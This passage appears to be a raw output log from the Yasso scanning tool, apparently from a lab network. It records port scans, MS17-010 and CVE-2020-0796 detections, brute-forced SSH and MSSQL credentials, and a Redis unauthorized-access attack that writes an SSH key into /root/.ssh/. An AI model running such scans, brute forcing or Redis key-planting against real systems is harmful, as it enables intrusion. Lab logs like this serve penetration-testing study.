Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.0.184 192.168.248.1] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] www.baidu.com has cdn [39.156.66.14 39.156.66.18] +[*] 1.15.242.214 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 1.15.242.214:888 is open +[*] 1.15.242.214:22 is open +[*] 1.15.242.214:8888 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 1.15.242.214:22 [SSH-2.0-OpenSSH_7.4] +[*] 192.168.248.224 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.224:3389 is open +[*] 192.168.248.224:445 is open +[*] 192.168.248.224:135 is open +[*] 192.168.248.224:139 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.203:6379 is open +[*] 192.168.248.203:22 is open +[*] 192.168.248.203:22 [SSH-2.0-OpenSSH_8.9p1\x20Debian-3] +[+] brute 192.168.248.203:22 success [root:kali][ssh] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[*] 192.168.248.224:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.224:137] WORKGROUP\DESKTOP-Q258H04 +[+] [192.168.248.224:445] +[10.0.19041 (version) || DESKTOP-Q258H04 (FQDN Name) ||DESKTOP-Q258H04 (Domain Name) ||DESKTOP-Q258H04 (Netbios Name)] +[+] [DESKTOP-Q258H04 192.168.248.224] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b56:99f:a42f:36b3:841c:80d6 2409:8949:6b56:99f:25c4:70e9:c58d:edcb] +[+] 192.168.248.224 Find CVE-2020-0796 +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.203:22 is open +[*] 192.168.248.203:6379 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[*] 192.168.248.203:22 [SSH-2.0-OpenSSH_8.9p1\x20Debian-3] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b56:99f:a42f:36b3:841c:80d6 2409:8949:6b56:99f:25c4:70e9:c58d:edcb] +[*] 192.168.248.212 Find MS17010 (Windows Server 2012 R2 Standard 9600) +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.224 is alive (ping) +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:464 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:593 is open +[*] 192.168.248.212:636 is open +[*] 192.168.248.212:3269 is open +[*] 192.168.248.212:3268 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:5985 is open +[*] 192.168.248.212:9389 is open +[*] 192.168.248.212:47001 is open +[*] 192.168.248.212:49158 is open +[*] 192.168.248.212:49157 is open +[*] 192.168.248.212:49153 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:49152 is open +[*] 192.168.248.212:49154 is open +[*] 192.168.248.212:49159 is open +[*] 192.168.248.212:49161 is open +[*] 192.168.248.212:49163 is open +[*] 192.168.248.212:49170 is open +[*] 192.168.248.212:49179 is open +[*] 192.168.248.212:49175 is open +[*] 192.168.248.212:49194 is open +[*] 192.168.248.212:50002 is open +[*] 192.168.248.212:50001 is open +[*] 192.168.248.212:50003 is open +[*] 192.168.248.212:50000 is open +[*] 192.168.248.203:22 is open +[*] 192.168.248.203:6379 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:912 is open +[*] 192.168.248.1:902 is open +[*] 192.168.248.1:4781 is open +[*] 192.168.248.1:4780 is open +[*] 192.168.248.1:5040 is open +[*] 192.168.248.1:5357 is open +[*] 192.168.248.1:5985 is open +[*] 192.168.248.1:47001 is open +[*] 192.168.248.1:49664 is open +[*] 192.168.248.1:49666 is open +[*] 192.168.248.1:49665 is open +[*] 192.168.248.1:49667 is open +[*] 192.168.248.1:49668 is open +[*] 192.168.248.1:49690 is open +[*] 192.168.248.1:49694 is open +[*] 192.168.248.1:49693 is open +[*] 192.168.248.224:135 is open +[*] 192.168.248.224:139 is open +[*] 192.168.248.224:445 is open +[*] 192.168.248.224:3389 is open +[*] 192.168.248.224:49664 is open +[*] 192.168.248.224:49675 is open +[*] 192.168.248.224:49672 is open +[*] 192.168.248.224:49667 is open +[*] 192.168.248.224:49666 is open +[*] 192.168.248.224:49668 is open +[*] 192.168.248.224:49669 is open +[*] 192.168.248.224:49665 is open +[*] 192.168.248.224:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] http://192.168.248.212:47001 404 [Microsoft-HTTPAPI] [None] +[*] 192.168.248.203:22 [SSH-2.0-OpenSSH_8.9p1\x20Debian-3] +[+] brute 192.168.248.203:22 success [root:kali][ssh] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[+] http://192.168.248.1:5357 503 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:47001 404 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:49690 200 [Sunlogin] [None] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b56:99f:a42f:36b3:841c:80d6 2409:8949:6b56:99f:25c4:70e9:c58d:edcb] +[+] [192.168.248.224:137] WORKGROUP\DESKTOP-Q258H04 +[+] [192.168.248.224:445] +[10.0.19041 (version) || DESKTOP-Q258H04 (FQDN Name) ||DESKTOP-Q258H04 (Domain Name) ||DESKTOP-Q258H04 (Netbios Name)] +[+] [DESKTOP-Q258H04 192.168.248.224] +[*] 192.168.248.212 Find MS17010 (Windows Server 2012 R2 Standard 9600) +[+] 192.168.248.1 Find CVE-2020-0796 +[+] 192.168.248.224 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.0.184 is alive (ping) +[*] 192.168.0.184:445 is open +[*] 192.168.0.184:139 is open +[*] 192.168.0.184:135 is open +[+] [192.168.0.184:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.0.184 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.0.184 is alive (ping) +[*] 192.168.0.1 is alive (ping) +[*] 192.168.0.184:135 is open +[*] 192.168.0.184:445 is open +[*] 192.168.0.184:139 is open +[*] 192.168.0.1:9000 is open +[*] 192.168.0.1:80 is open +[+] http://192.168.0.1/index.html 302 [GoAhead] [GoAhead-Webs] [sapido-router] [Tenda-WiFi] [Tenda Wireless Router] +[+] [192.168.0.184:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.0.184 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.66 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] Yasso scan complete +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (tcp) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1] +[+] [192.168.248.128:137] WORKGROUP\DESKTOP-Q258H04 +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (tcp) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1] +[+] [192.168.248.128:137] WORKGROUP\DESKTOP-Q258H04 +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (tcp) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1] +[+] [192.168.248.128:137] WORKGROUP\DESKTOP-Q258H04 +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1] +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (tcp) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.0.184] +[+] [192.168.248.128:137] WORKGROUP\DESKTOP-Q258H04 +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:8443 is open +[+] https://192.168.248.1:8443 200 [Apache2 Ubuntu Default Page: It works] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b8a:a1e:a42f:36b3:841c:80d6 2409:8949:6b8a:a1e:f1dc:d480:337:1b3c] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:8443 is open +[*] 192.168.248.1:445 is open +[+] https://192.168.248.1:8443 200 [Apache2 Ubuntu Default Page: It works] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b8a:a1e:a42f:36b3:841c:80d6 2409:8949:6b8a:a1e:f1dc:d480:337:1b3c] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:912 is open +[*] 192.168.248.1:902 is open +[*] 192.168.248.1:4781 is open +[*] 192.168.248.1:4780 is open +[*] 192.168.248.1:5040 is open +[*] 192.168.248.1:5357 is open +[*] 192.168.248.1:5985 is open +[*] 192.168.248.1:7443 is open +[*] 192.168.248.1:8443 is open +[*] 192.168.248.1:47001 is open +[*] 192.168.248.1:49690 is open +[*] 192.168.248.1:49694 is open +[*] 192.168.248.1:49665 is open +[*] 192.168.248.1:49666 is open +[*] 192.168.248.1:49667 is open +[*] 192.168.248.1:49664 is open +[*] 192.168.248.1:49668 is open +[*] 192.168.248.1:49693 is open +[+] http://192.168.248.1:5357 503 [Microsoft-HTTPAPI] [None] +[+] https://192.168.248.1:8443 200 [Apache2 Ubuntu Default Page: It works] +[+] http://192.168.248.1:47001 404 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:49690 200 [Sunlogin] [None] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b8a:a1e:a42f:36b3:841c:80d6 2409:8949:6b8a:a1e:f1dc:d480:337:1b3c] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] start brute service [rdp:3389 ssh:22 redis:6379] +[*] brute service complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] start brute service [rdp:3389 ssh:22 redis:6379] +[+] brute 192.168.248.203:22 success [root:kali][ssh] +[*] brute service complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:902 is open +[*] 192.168.248.1:912 is open +[*] 192.168.248.1:4780 is open +[*] 192.168.248.1:4781 is open +[*] 192.168.248.1:5040 is open +[*] 192.168.248.1:5357 is open +[*] 192.168.248.1:5985 is open +[*] 192.168.248.1:7443 is open +[*] 192.168.248.1:8443 is open +[*] 192.168.248.1:47001 is open +[*] 192.168.248.1:49667 is open +[*] 192.168.248.1:49665 is open +[*] 192.168.248.1:49693 is open +[*] 192.168.248.1:49664 is open +[*] 192.168.248.1:49668 is open +[*] 192.168.248.1:49666 is open +[*] 192.168.248.1:49690 is open +[*] 192.168.248.1:49694 is open +[*] 192.168.248.203:22 is open +[*] 192.168.248.203:6379 is open +[+] http://192.168.248.1:5357 503 [Microsoft-HTTPAPI] [None] +[+] https://192.168.248.1:8443 200 [Apache2 Ubuntu Default Page: It works] +[+] http://192.168.248.1:47001 404 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:49690 200 [Sunlogin] [None] +[*] 192.168.248.203:22 [SSH-2.0-OpenSSH_8.9p1\x20Debian-3] +[+] brute 192.168.248.203:22 success [root:kali][ssh] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.222.208 2409:8949:6b8a:a1e:a42f:36b3:841c:80d6 2409:8949:6b8a:a1e:f1dc:d480:337:1b3c] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[+] Redis 192.168.248.203:6379 unauthorized dbfilename:[dump.rdb] +[*] Restore the original dbfilename +[*] write public key into /root/.ssh/ success +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:8082 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:139 is open +[+] http://192.168.248.1:8082 400 [None] +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.0.184 192.168.23.1 192.168.248.1] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] 192.168.248.212 Find MS17010 (Windows Server 2012 R2 Standard 9600) +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.103.229] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 192.168.103.229] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] 